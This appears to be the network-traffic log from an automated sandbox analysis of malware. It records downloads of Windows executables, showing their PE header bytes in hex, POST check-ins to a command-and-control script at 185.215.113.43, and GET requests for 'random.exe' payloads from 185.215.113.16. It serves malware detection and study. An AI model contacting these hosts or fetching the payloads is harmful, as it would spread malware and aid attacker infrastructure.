00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:28 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:43 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:16:49 GMTContent-Type: application/octet-streamContent-Length: 1873920Last-Modified: Thu, 31 Oct 2024 03:03:32 GMTConnection: keep-aliveETag: "6722f384-1c9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4a 00 00 04 00 00 90 ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 27 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 27 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6c 65 67 6c 70 6a 70 00 80 19 00 00 b0 30 00 00 7c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 6e 63 62 64 65 77 00 10 00 00 00 30 4a 00 00 04 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4a 00 00 22 00 00 00 76 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:17:03 GMTContent-Type: application/octet-streamContent-Length: 1873920Last-Modified: Thu, 31 Oct 2024 03:03:32 GMTConnection: keep-aliveETag: "6722f384-1c9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4a 00 00 04 00 00 90 ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 27 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 27 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6c 65 67 6c 70 6a 70 00 80 19 00 00 b0 30 00 00 7c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 6e 63 62 64 65 77 00 10 00 00 00 30 4a 00 00 04 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4a 00 00 22 00 00 00 76 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:17:11 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 03:17:17 GMTContent-Type: application/octet-streamContent-Length: 1873920Last-Modified: Thu, 31 Oct 2024 03:03:32 GMTConnection: keep-aliveETag: "6722f384-1c9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4a 00 00 04 00 00 90 ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 27 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 27 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6c 65 67 6c 70 6a 70 00 80 19 00 00 b0 30 00 00 7c 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 7a 6e 63 62 64 65 77 00 10 00 00 00 30 4a 00 00 04 00 00 00 72 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4a 00 00 22 00 00 00 76 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002776001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002777001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
